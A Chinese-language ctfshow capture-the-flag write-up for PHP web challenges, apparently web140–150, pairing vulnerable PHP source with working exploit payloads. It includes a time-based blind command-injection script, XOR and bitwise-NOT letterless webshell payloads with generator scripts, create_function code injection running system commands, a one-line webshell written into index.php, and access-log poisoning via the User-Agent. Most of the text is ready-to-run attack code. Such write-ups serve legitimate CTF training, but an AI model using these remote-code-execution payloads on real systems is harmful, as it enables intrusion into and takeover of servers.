payload = "?c="+f"if [ `cat /f149_15_h3r3 | cut -c {j}` == {k} ];then sleep 2;fi"
try:
requests.get(url=url+payload,timeout=(1.5,1.5))
except:
res += k
print(res)
break
res += ' '
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}
f1和f2是[a-z0-9],intval获取变量整数值
弱比较表
注意到整数0在和"php"字符串做比较的时候返回的是0,所以构造出0即可
f1=sha1&f2=sha1
#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
这里用无字母数字webshell,v1和v2都可以随便填
dotast:然后v1和v2就随意填,v3填构造出的payload即可,但注意的是这里有个return干扰,所以我们要在v3的payload前边和后面加上一些字符就可以执行命令,例如\+ - * 等等
?v1=1&v2=1&v3=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");
看到flag.php,再去构造flag.php即可,这里可以看博客:https://blog.csdn.net/miuzzx/article/details/109143413 (羽师傅博客)
?v1=1&v2=1&v3=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%0c%01%07%00%0b%08%0b"^"%7c%60%60%20%60%60%60%60%2e%7b%60%7b");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}
也就等 5.1879761014816e+14 秒而已
?v1=0
然后查看源代码
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
web141 plus
不让取反而已嘛,还有注意过滤了分号,还是用141的办法,但是这里过滤了的特殊字符也要写进编写的脚本中
?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")*
flag.php index.php
?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%0c%01%07%01%0f%08%0f"^"%7f%60%60%20%60%60%60%60%2f%7f%60%7f")*
脚本(dotast):
# -- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/10 12:56
# blog: www.wlhhlc.top
import requests
import urllib
import re
# 生成可用的字符
def write_rce():
result = ''
preg = '[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;'
for i in range(256):
for j in range(256):
if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
k = i ^ j
if k >= 32 and k <= 126:
a = '%' + hex(i)[2:].zfill(2)
b = '%' + hex(j)[2:].zfill(2)
result += (chr(k) + ' ' + a + ' ' + b + '\n')
f = open('xor_rce.txt', 'w')
f.write(result)
# 根据输入的命令在生成的txt中进行匹配
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("xor_rce.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"^\"" + s2 + "\")"
return (output)
def main():
write_rce()
while True:
s1 = input("\n[+] your function:")
if s1 == "exit":
break
s2 = input("[+] your command:")
param = action(s1) + action(s2)
print("\n[*] result:\n" + param)
main()
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && check($v3)){
if(preg_match('/^\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
function check($str){
return strlen($str)===1?true:false;
}
web143 plus === web141 proplus
这次是换成了v2,用web141的payload
?v1=1&v3=1&v2=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%0c%01%07%00%0b%08%0b"^"%7c%60%60%20%60%60%60%60%2e%7b%60%7b");
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
web144 plus === web143 proplus === web141 proplusmax
过滤的更多,而且不能用^,但是能取反
但* ; + -都被ban掉了,之前说v3前后都要有这些
fuzz之后发现|也能用 https://blog.csdn.net/miuzzx/article/details/109143413
//在命令行中运行
/*author yu22x*/
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
最终payload
?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
ProMaxpluspro
还是没有过滤 ~,继续用上一题的payload
?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|
highlight_file(__FILE__);
if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}
}
RCE
这里看hint
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路 径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写 法
这里利用create_function()
进行代码注入
string create_function ( string $args , string $code )
string $args 变量部分
string $code 方法代码部分
#举例
create_function('$funcname','echo $funcname."Mumuzi"')
#等同于下面的函数
function f($funcname) {
echo $funcname."Mumuzi";
}
/*
#如果第二个参数(代码)是这样的:
echo 1;}phpinfo();/*
#那么用函数来表示是这样的:
*/
function f($funcname){
echo 1;
}
phpinfo();/*}
#即执行完echo 1之后,又执行phpinfo(),然后用/*注释掉后面的语句
因此构造出payload
GET:?show=echo mumuzi;}system("tac f*");/*
POST:ctf=\create_function
#什么是变量?
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
die("error");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
function get_ctfshow_fl0g(){
echo file_get_contents("flag.php");
}
异或。脚本用之前的(web141plus),改一下preg即可
error_reporting(0);
highlight_file(__FILE__);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($_GET['ctf'], $_POST['show']);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
不是index.php就会被删除
那么把一句话写进index.php就行了
GET:?ctf=index.php
POST:show=
然后访问index.php,GET传1=system(‘tac /ctfshow_fl0g_here.txt’);
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 07:12:57
*/
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;
function __construct(){
$this->vip = 0;
$this->secret = $flag;
}
function __destruct(){
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
function __autoload($class){
if(isset($class)){
$class();
}
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}
日志包含,UA写一句话。QUERY_STRING
和extract
使isvip为1(web127)
import requests
url = "http://888cbe1b-d96b-4304-9502-4ba090d23aee.challenge.ctf.show/" + "?isVIP=1"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0'
}
data = {
'ctf': '/var/log/nginx/access.log',
'1':'system("tac f*");'
}
r = requests.post(url=url, headers=headers, data=data).text
print(r)
题目说修复了非预期,然后能明显看到ctf里面不能有log,正好就是修复了日志包含
这里就联想到了竞争(session文件包含),但是现在ctfshow设了限制很难做到成功竞争。
看一下hint
这个题一点点小坑__autoload()函数不是类里面的 __autoload — 尝试加载未定义的类 最后构造?..CTFSHOW..=phpinfo就可以看到phpinfo信息啦 原因是..CTFSHOW..解析变量成__CTFSHOW__然后进行了变量覆盖,因为CTFSHOW是类就会使用 __autoload()函数方法,去加载,因为等于phpinfo就会去加载phpinfo 接下来就去getshell啦
这里__autoload()
可以看https://www.php.cn/php-weizijiaocheng-426838.html
然后…CTFSHOW…利用的就是php的特性,即空格、[、.、+自动转换为_
因此payload
?..CTFSHOW..=phpinfo
然后搜ctfshow{即可,因为写入了环境